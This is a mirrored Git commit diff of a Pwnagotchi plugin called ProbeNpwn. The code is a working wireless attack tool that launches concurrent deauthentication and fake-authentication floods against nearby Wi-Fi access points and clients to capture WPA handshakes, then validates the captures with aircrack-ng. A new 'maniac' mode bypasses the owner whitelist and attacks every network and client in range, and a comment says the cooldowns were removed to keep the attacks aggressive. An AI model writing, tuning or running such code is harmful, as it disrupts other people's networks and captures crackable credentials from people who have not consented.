mirror of
https://github.com/AlienMajik/pwnagotchi_plugins.git
synced 2025-07-01 10:27:27 -04:00
Update probenpwn.py
Aggressively capture handshakes with two modes: Tactical (smart and efficient) and Maniac(unrestricted, rapid attacks). Enhanced with client scoring, adaptive attacks, ML-based channel hopping, intelligent retries, and resource management.
This commit is contained in:
350
probenpwn.py
350
probenpwn.py
@ -7,139 +7,155 @@ import random
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import pwnagotchi.plugins as plugins
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import pwnagotchi.ui.components as components
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from concurrent.futures import ThreadPoolExecutor
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from queue import PriorityQueue
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import psutil
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class ProbeNpwn(plugins.Plugin):
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__author__ = 'AlienMajik'
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__version__ = '1.1.4' # Updated to reflect enhancements
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__version__ = '1.3.0' # Updated version for enhancements
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__license__ = 'GPL3'
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__description__ = (
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'Aggressively capture handshakes by launching immediate associate and deauth attacks '
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'on detected devices. Features minimized delays, retry mechanisms, target prioritization, '
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'concurrency throttling, and channel coordination for maximum efficiency.'
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'Aggressively capture handshakes with two modes: Tactical (smart and efficient) and Maniac '
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'(unrestricted, rapid attacks). Enhanced with client scoring, adaptive attacks, ML-based '
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'channel hopping, intelligent retries, and resource management.'
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)
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def __init__(self):
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logging.debug("ProbeNpwn plugin created")
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self.old_name = None
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self.recents = {} # Track recent APs and clients
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self.executor = ThreadPoolExecutor(max_workers=50) # Throttle to 50 concurrent attacks (Enhancement 4)
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self.recents = {}
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self.executor = None # Initialized in on_loaded with dynamic max_workers
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self._watchdog_thread = None
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self._watchdog_thread_running = True
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self.attack_attempts = {} # Track attack attempts per AP
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self.success_counts = {} # Track successful handshakes per AP
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self.attack_attempts = {}
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self.success_counts = {}
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self.total_handshakes = 0
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self.failed_handshakes = 0
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self.performance_stats = {}
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self.whitelist = set()
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self.cooldowns = {} # Cooldown periods per AP after handshake
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self.epoch_duration = 60 # Default epoch duration in seconds
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self.ap_clients = {} # Track number of clients per AP for prioritization (Enhancement 3)
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# UI-related attributes
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self.cooldowns = {}
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self.epoch_duration = 60
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self.ap_clients = {}
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self.channel_activity = {}
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self.client_scores = {}
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self.ap_client_groups = {}
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self.mode = "tactical"
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self.retry_queue = PriorityQueue() # For intelligent retry logic
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self.handshake_db = set() # For deduplication
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self.attacks_x = 10
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self.attacks_y = 20
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self.success_x = 10
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self.success_y = 30
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self.handshakes_x = 10
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self.handshakes_y = 40
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self.ui_initialized = False
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### Lifecycle Methods
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def on_loaded(self):
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"""Log plugin load event."""
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"""Log plugin load and initialize executor with dynamic concurrency."""
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logging.info("Plugin ProbeNpwn loaded")
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self.executor = ThreadPoolExecutor(max_workers=self.get_dynamic_max_workers())
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def on_config_changed(self, config):
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"""Load whitelist, verbose setting, and UI coordinates from config."""
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"""Load configuration settings."""
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self.whitelist = set(config["main"].get("whitelist", []))
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logging.info(f"Whitelist loaded from config: {self.whitelist}")
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self.verbose = config.get("main", {}).get("plugins", {}).get("probenpwn", {}).get("verbose", False)
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if self.verbose:
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logging.getLogger().setLevel(logging.INFO)
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logging.info("Verbose mode enabled, logging level set to INFO")
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else:
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logging.getLogger().setLevel(logging.WARNING)
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logging.warning("Verbose mode disabled, logging level set to WARNING")
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logging.getLogger().setLevel(logging.INFO if self.verbose else logging.WARNING)
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self.old_name = config.get("main").get("name", "")
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self.mode = config["main"]["plugins"]["probenpwn"].get("mode", "tactical")
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self.attacks_x = config["main"]["plugins"]["probenpwn"].get("attacks_x_coord", 10)
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self.attacks_y = config["main"]["plugins"]["probenpwn"].get("attacks_y_coord", 20)
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self.success_x = config["main"]["plugins"]["probenpwn"].get("success_x_coord", 10)
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self.success_y = config["main"]["plugins"]["probenpwn"].get("success_y_coord", 30)
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self.handshakes_x = config["main"]["plugins"]["probenpwn"].get("handshakes_x_coord", 10)
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self.handshakes_y = config["main"]["plugins"]["probenpwn"].get("handshakes_y_coord", 40)
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def on_unload(self, ui):
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"""Clean up on unload: restore name, stop watchdog, shutdown thread pool, remove UI elements."""
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"""Clean up resources."""
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with ui._lock:
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if self.old_name:
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ui.set('name', f"{self.old_name}>")
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ui.remove_element('attacks')
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ui.remove_element('success')
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ui.remove_element('handshakes')
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self._watchdog_thread_running = False
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if self._watchdog_thread:
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self._watchdog_thread.join()
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self.executor.shutdown(wait=True)
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logging.info("Probing out.")
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### UI Methods
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def on_ui_setup(self, ui):
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"""Set up custom UI elements for attacks and success rate."""
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"""Set up UI elements."""
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if not self.ui_initialized:
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ui.add_element('attacks', components.Text(
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position=(self.attacks_x, self.attacks_y),
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value='Attacks: 0',
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color=255
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))
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ui.add_element('success', components.Text(
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position=(self.success_x, self.success_y),
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value='Success: 0.0%',
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color=255
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))
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logging.info("Custom UI elements 'attacks' and 'success' initialized.")
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ui.add_element('attacks', components.Text(position=(self.attacks_x, self.attacks_y), value='Attacks: 0', color=255))
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ui.add_element('success', components.Text(position=(self.success_x, self.success_y), value='Success: 0.0%', color=255))
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ui.add_element('handshakes', components.Text(position=(self.handshakes_x, self.handshakes_y), value='Handshakes: 0', color=255))
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self.ui_initialized = True
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def on_ui_update(self, ui):
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"""Update UI with current attack counts and success rate."""
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"""Update UI with stats."""
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total_attempts = sum(self.attack_attempts.values())
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total_successes = sum(self.success_counts.values())
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success_rate = (total_successes / total_attempts) * 100 if total_attempts > 0 else 0.0
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with ui._lock:
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ui.set('attacks', f"Attacks: {total_attempts}")
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ui.set('success', f"Success: {success_rate:.1f}%")
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ui.set('handshakes', f"Handshakes: {self.total_handshakes}")
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### Core Functionality
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def on_ready(self, agent):
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"""Start watchdog and set initial status on agent ready."""
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"""Start watchdog and set status."""
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logging.info("Probed and Pwnd!")
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agent.run("wifi.clear")
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self._watchdog_thread = threading.Thread(target=self._watchdog, daemon=True)
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self._watchdog_thread = threading.Thread(target=self._watchdog, args=(agent,), daemon=True)
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self._watchdog_thread.start()
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with agent._view._lock:
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agent._view.set("status", "Probe engaged... \nPWNing your signals, Earthlings!")
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agent._view.set("status", "Probe engaged..." if self.mode == "tactical" else "Maniac mode activated!")
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def _watchdog(self):
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"""Monitor system health and attempt recovery before restarting service."""
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def _watchdog(self, agent):
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"""Monitor system and perform dynamic channel hopping."""
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CHECK_INTERVAL = 5
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MAX_RETRIES = 1
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retry_count = 0
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while self._watchdog_thread_running:
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if not os.path.exists("/sys/class/net/wlan0mon"):
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logging.error("wlan0mon missing! Attempting Wi-Fi restart...")
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logging.error("wlan0mon missing! Attempting recovery...")
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try:
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subprocess.run(["ip", "link", "set", "wlan0mon", "down"], check=True)
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subprocess.run(["ip", "link", "set", "wlan0mon", "up"], check=True)
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logging.info("Wi-Fi interface restarted.")
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retry_count = 0
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except Exception as e:
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retry_count += 1
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if retry_count >= MAX_RETRIES:
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logging.error(f"Wi-Fi restart failed after {MAX_RETRIES} attempts: {e}. Restarting Pwnagotchi...")
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subprocess.run(["systemctl", "restart", "pwnagotchi"])
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break
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else:
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logging.warning(f"Wi-Fi restart attempt {retry_count} failed: {e}. Retrying in {CHECK_INTERVAL} seconds...")
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else:
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retry_count = 0
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agent.set_channel(self.select_channel())
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time.sleep(CHECK_INTERVAL)
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def select_channel(self):
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"""ML-inspired channel selection based on success history."""
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if not self.channel_activity:
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return random.randint(1, 11)
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weights = {ch: (stats["aps"] + stats["clients"]) * (self.success_counts.get(str(ch), 1)) for ch, stats in self.channel_activity.items()}
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total_weight = sum(weights.values())
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if total_weight == 0:
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return random.randint(1, 11)
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pick = random.uniform(0, total_weight)
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current = 0
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for channel, weight in weights.items():
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current += weight
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if current >= pick:
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return channel
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return list(self.channel_activity.keys())[0]
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def track_recent(self, ap, cl=None):
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"""Track recently seen APs and clients with timestamps."""
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"""Track APs and clients."""
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ap['_track_time'] = time.time()
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self.recents[ap['mac'].lower()] = ap
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if cl:
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@ -147,162 +163,154 @@ class ProbeNpwn(plugins.Plugin):
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self.recents[cl['mac'].lower()] = cl
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def ok_to_attack(self, agent, ap):
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"""Check if an AP or client is safe to attack (not whitelisted)."""
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if ap.get('hostname', '').lower() in self.whitelist or ap['mac'].lower() in self.whitelist:
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return False
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return True
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"""Check if safe to attack."""
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if self.mode == "maniac":
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return True
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return ap.get('hostname', '').lower() not in self.whitelist and ap['mac'].lower() not in self.whitelist
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def attack_target(self, agent, ap, cl):
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"""Launch attack on target AP/client with dynamic parameters."""
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def attack_target(self, agent, ap, cl, retry_count=0):
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"""Launch adaptive attack with multiple vectors."""
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ap_mac = ap['mac'].lower()
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if ap_mac in self.cooldowns and time.time() < self.cooldowns[ap_mac]:
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logging.debug(f"AP {ap_mac} on cooldown. Skipping attack.")
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return
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if self.mode == "tactical":
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if ap_mac in self.cooldowns and time.time() < self.cooldowns[ap_mac]:
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return
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if cl and self.client_scores.get(cl['mac'].lower(), 0) < 50:
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return
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if not self.ok_to_attack(agent, ap):
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return
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# Ensure channel is set before attack (Enhancement 5)
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agent.set_channel(ap['channel'])
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self.attack_attempts[ap_mac] = self.attack_attempts.get(ap_mac, 0) + 1
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logging.info(f"Attacking AP {ap['mac']} and client {cl['mac'] if cl else 'N/A'}; attempt {self.attack_attempts[ap_mac]}")
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logging.info(f"Attacking AP {ap_mac} (client: {cl['mac'] if cl else 'N/A'})")
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self.adjust_attack_parameters(ap_mac)
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if agent._config['personality']['deauth']:
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if ap_mac in self.ap_client_groups:
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for cl_mac in self.ap_client_groups[ap_mac][:5]:
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client_data = self.recents.get(cl_mac)
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if client_data:
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self.executor.submit(agent.deauth, ap, client_data, self.dynamic_attack_delay(ap, client_data))
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elif cl:
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self.executor.submit(agent.deauth, ap, cl, self.dynamic_attack_delay(ap, cl))
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if cl and agent._config['personality']['deauth']:
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delay = self.dynamic_attack_delay(ap, cl)
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agent.deauth(ap, cl, delay)
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if agent._config['personality']['associate']:
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agent.associate(ap, 0.1) # Reduced delay for faster association (Enhancement 1)
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# Additional attack vector: Fake authentication flood
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if random.random() < 0.3: # 30% chance
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self.executor.submit(agent.associate, ap, 0.05)
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def dynamic_attack_delay(self, ap, cl):
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"""Calculate adaptive delay with minimized values and retry mechanism (Enhancements 1 & 2)."""
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signal = cl.get('signal', -100) if cl else -100
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base_delay = 0.1 if signal >= -60 else 0.2 # Minimized base delays (Enhancement 1)
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"""Calculate adaptive delay."""
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if self.mode == "maniac":
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return 0.05
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signal = cl.get('signal', -100)
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base_delay = 0.1 if signal >= -60 else 0.2
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ap_mac = ap['mac'].lower()
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attempts = self.attack_attempts.get(ap_mac, 0)
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# Retry mechanism: reduce delay aggressively after failed attempts (Enhancement 2)
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if attempts > 5:
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base_delay *= 0.4 # 40% of base delay after 5 attempts
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elif attempts > 2:
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base_delay *= 0.6 # 60% of base delay after 2 attempts
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# Prioritize APs with more clients by further reducing delay (Enhancement 3)
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base_delay *= 0.4
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num_clients = self.ap_clients.get(ap_mac, 0)
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if num_clients > 3: # High-value target with >3 clients
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if num_clients > 3:
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base_delay *= 0.8
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return base_delay * random.uniform(0.9, 1.1)
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randomized_delay = base_delay * random.uniform(0.9, 1.1)
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logging.debug(f"Dynamic delay for AP {ap['mac']} (signal {signal}dBm, {attempts} attempts, {num_clients} clients): {randomized_delay:.3f}s")
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return randomized_delay
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def get_dynamic_max_workers(self):
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"""Adjust concurrency based on system resources."""
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cpu_usage = psutil.cpu_percent()
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mem_usage = psutil.virtual_memory().percent
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base_workers = 50
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if cpu_usage > 80 or mem_usage > 80:
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return max(10, int(base_workers * 0.5))
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elif cpu_usage > 50 or mem_usage > 50:
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return int(base_workers * 0.75)
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return base_workers
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def adjust_attack_parameters(self, ap_mac):
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"""Tune attack aggression based on adaptive success thresholds."""
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success_count = self.success_counts.get(ap_mac, 0)
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attack_count = self.attack_attempts.get(ap_mac, 0)
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success_rate = (success_count / attack_count) * 100 if attack_count > 0 else 0
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total_success = sum(self.success_counts.values())
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total_attempts = sum(self.attack_attempts.values())
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avg_success_rate = (total_success / total_attempts) * 100 if total_attempts > 0 else 0
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low_threshold = avg_success_rate * 0.5 # 50% of average
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high_threshold = avg_success_rate * 1.5 # 150% of average
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if success_rate < low_threshold:
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logging.info(f"Low success rate ({success_rate:.2f}%) on {ap_mac}. Increasing aggression.")
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self.attack_attempts[ap_mac] += 5
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elif success_rate > high_threshold:
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logging.info(f"High success rate ({success_rate:.2f}%) on {ap_mac}. Reducing aggression.")
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self.attack_attempts[ap_mac] = max(1, self.attack_attempts[ap_mac] - 2)
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### Event Handlers
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def on_bcap_wifi_ap_new(self, agent, event):
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"""Handle new AP detection with immediate attack."""
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try:
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ap = event['data']
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ap_mac = ap['mac'].lower()
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self.ap_clients[ap_mac] = self.ap_clients.get(ap_mac, 0) # Initialize client count (Enhancement 3)
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if self.ok_to_attack(agent, ap):
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logging.info(f"ProbeNpwn: Targeting new AP {ap.get('hostname', 'Unknown AP')} ({ap['mac']})")
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self.executor.submit(self.attack_target, agent, ap, None)
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else:
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logging.debug(f"ProbeNpwn: Skipping new AP {ap.get('hostname', 'Unknown AP')} ({ap['mac']}) - whitelisted or invalid")
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except Exception as e:
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logging.error(f"ProbeNpwn: Error in on_bcap_wifi_ap_new: {repr(e)}")
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"""Handle new AP with adaptive attack."""
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ap = event['data']
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ap_mac = ap['mac'].lower()
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channel = ap['channel']
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self.channel_activity.setdefault(channel, {"aps": 0, "clients": 0})
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self.channel_activity[channel]["aps"] += 1
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self.ap_clients[ap_mac] = self.ap_clients.get(ap_mac, 0)
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if self.ok_to_attack(agent, ap):
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self.executor.submit(self.attack_target, agent, ap, None)
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def on_bcap_wifi_client_new(self, agent, event):
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"""Handle new client detection with immediate deauth attack."""
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"""Handle new client with enhanced scoring."""
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ap = event['data']['AP']
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cl = event['data']['Client']
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ap_mac = ap['mac'].lower()
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cl_mac = cl['mac'].lower()
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channel = ap['channel']
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self.channel_activity.setdefault(channel, {"aps": 0, "clients": 0})
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self.channel_activity[channel]["clients"] += 1
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self.ap_clients[ap_mac] = self.ap_clients.get(ap_mac, 0) + 1
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signal = cl.get('signal', -100)
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activity = cl.get('activity', 1) + (self.ap_clients[ap_mac] / 10) # Enhanced scoring
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self.client_scores[cl_mac] = (signal + 100) * activity
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self.ap_client_groups.setdefault(ap_mac, []).append(cl_mac)
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if self.ok_to_attack(agent, ap):
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self.executor.submit(self.attack_target, agent, ap, cl)
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def is_handshake_valid(self, filename):
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"""Validate handshake with quality check."""
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try:
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ap = event['data']['AP']
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cl = event['data']['Client']
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ap_mac = ap['mac'].lower()
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# Increment client count for prioritization (Enhancement 3)
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self.ap_clients[ap_mac] = self.ap_clients.get(ap_mac, 0) + 1
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if self.ok_to_attack(agent, ap) and self.ok_to_attack(agent, cl):
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logging.info(f"ProbeNpwn: Targeting new client {cl.get('hostname', 'Unknown Client')} ({cl['mac']}) on AP {ap.get('hostname', 'Unknown AP')} ({ap['mac']})")
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self.executor.submit(self.attack_target, agent, ap, cl)
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else:
|
||||
logging.debug(f"ProbeNpwn: Skipping new client {cl.get('hostname', 'Unknown Client')} ({cl['mac']}) on AP {ap.get('hostname', 'Unknown AP')} ({ap['mac']}) - whitelisted or invalid")
|
||||
except Exception as e:
|
||||
logging.error(f"ProbeNpwn: Error in on_bcap_wifi_client_new: {repr(e)}")
|
||||
result = subprocess.run(['aircrack-ng', filename], capture_output=True, text=True)
|
||||
is_valid = "valid handshake" in result.stdout.lower()
|
||||
frame_count = result.stdout.count("EAPOL") if is_valid else 0
|
||||
return is_valid and frame_count >= 2 # Quality check
|
||||
except Exception:
|
||||
return False
|
||||
|
||||
def on_handshake(self, agent, filename, ap, cl):
|
||||
"""Handle successful handshake capture with cooldown and log success rate."""
|
||||
"""Handle handshake with deduplication and intelligent retry."""
|
||||
handshake_hash = hash(f"{ap['mac']}{cl.get('mac', '')}{filename}")
|
||||
if handshake_hash in self.handshake_db:
|
||||
logging.info(f"Duplicate handshake for {ap['mac']}. Skipping.")
|
||||
return
|
||||
if not self.is_handshake_valid(filename):
|
||||
logging.info(f"Invalid handshake for {ap['mac']}. Scheduling retry...")
|
||||
self.failed_handshakes += 1
|
||||
delay = min(60, 1 * (2 ** min(self.attack_attempts.get(ap['mac'].lower(), 0), 5))) # Exponential backoff
|
||||
self.retry_queue.put((time.time() + delay, (agent, ap, cl, self.attack_attempts.get(ap['mac'].lower(), 0) + 1)))
|
||||
return
|
||||
|
||||
ap_mac = ap['mac'].lower()
|
||||
logging.info(f"Handshake captured from {ap['mac']}")
|
||||
self.handshake_db.add(handshake_hash)
|
||||
self.success_counts[ap_mac] = self.success_counts.get(ap_mac, 0) + 1
|
||||
self.total_handshakes += 1
|
||||
|
||||
attempts = self.attack_attempts.get(ap_mac, 0)
|
||||
if attempts > 0:
|
||||
success_rate = 100.0 / attempts
|
||||
logging.info(f"Success rate for handshake from {ap['mac']}: {success_rate:.2f}% (took {attempts} attempts)")
|
||||
else:
|
||||
logging.info(f"Handshake captured from {ap['mac']} with no recorded attempts.")
|
||||
|
||||
if ap_mac in self.attack_attempts:
|
||||
del self.attack_attempts[ap_mac]
|
||||
|
||||
# Cooldown logic commented out to maintain aggression
|
||||
# self.cooldowns[ap_mac] = time.time() + 5
|
||||
|
||||
if 'mac' in ap and 'mac' in cl:
|
||||
logging.info(f"Captured handshake: {ap.get('hostname', 'Unknown AP')} ({ap['mac']}) -> "
|
||||
f"'{cl.get('hostname', 'Unknown Client')}' ({cl['mac']}) ({cl['vendor']})")
|
||||
if ap_mac in self.recents:
|
||||
del self.recents[ap_mac]
|
||||
cl_mac = cl['mac'].lower()
|
||||
if cl_mac in self.recents:
|
||||
del self.recents[cl_mac]
|
||||
if self.mode == "tactical":
|
||||
self.cooldowns[ap_mac] = time.time() + 60
|
||||
|
||||
def on_epoch(self, agent, epoch, epoch_data):
|
||||
"""Clean up old entries in recents based on epoch duration."""
|
||||
"""Clean up and process retries."""
|
||||
current_time = time.time()
|
||||
while not self.retry_queue.empty() and self.retry_queue.queue[0][0] <= current_time:
|
||||
_, (agent, ap, cl, retry_count) = self.retry_queue.get()
|
||||
self.executor.submit(self.attack_target, agent, ap, cl, retry_count)
|
||||
for mac in list(self.recents):
|
||||
if self.recents[mac]['_track_time'] < (time.time() - (self.epoch_duration * 2)):
|
||||
if self.recents[mac]['_track_time'] < (current_time - (self.epoch_duration * 2)):
|
||||
del self.recents[mac]
|
||||
for ap_mac in list(self.ap_client_groups):
|
||||
if ap_mac not in self.recents:
|
||||
del self.ap_client_groups[ap_mac]
|
||||
|
||||
def on_bcap_wifi_ap_updated(self, agent, event):
|
||||
"""Track updated APs."""
|
||||
try:
|
||||
ap = event['data']
|
||||
if self.ok_to_attack(agent, ap):
|
||||
logging.debug(f"AP updated: {ap.get('hostname', 'Unknown AP')} ({ap['mac']})")
|
||||
self.track_recent(ap)
|
||||
except Exception as e:
|
||||
logging.error(f"Error in on_bcap_wifi_ap_updated: {repr(e)}")
|
||||
ap = event['data']
|
||||
if self.ok_to_attack(agent, ap):
|
||||
self.track_recent(ap)
|
||||
|
||||
def on_bcap_wifi_client_updated(self, agent, event):
|
||||
"""Track updated clients."""
|
||||
try:
|
||||
ap = event['data']['AP']
|
||||
cl = event['data']['Client']
|
||||
ap_mac = ap['mac'].lower()
|
||||
self.ap_clients[ap_mac] = self.ap_clients.get(ap_mac, 0) + 1 # Update client count (Enhancement 3)
|
||||
if self.ok_to_attack(agent, ap) and self.ok_to_attack(agent, cl):
|
||||
logging.debug(f"Client updated: {ap.get('hostname', 'Unknown AP')} ({ap['mac']}) -> "
|
||||
f"'{cl.get('hostname', 'Unknown Client')}' ({cl['mac']}) ({cl['vendor']})")
|
||||
self.track_recent(ap, cl)
|
||||
except Exception as e:
|
||||
logging.error(f"Error in on_bcap_wifi_client_updated: {repr(e)}")
|
||||
"""Track updated clients with scoring update."""
|
||||
ap = event['data']['AP']
|
||||
cl = event['data']['Client']
|
||||
ap_mac = ap['mac'].lower()
|
||||
cl_mac = cl['mac'].lower()
|
||||
self.ap_clients[ap_mac] = self.ap_clients.get(ap_mac, 0) + 1
|
||||
signal = cl.get('signal', -100)
|
||||
activity = cl.get('activity', 1) + (self.ap_clients[ap_mac] / 10)
|
||||
self.client_scores[cl_mac] = (signal + 100) * activity
|
||||
if self.ok_to_attack(agent, ap):
|
||||
self.track_recent(ap, cl)
|
||||
|
Reference in New Issue
Block a user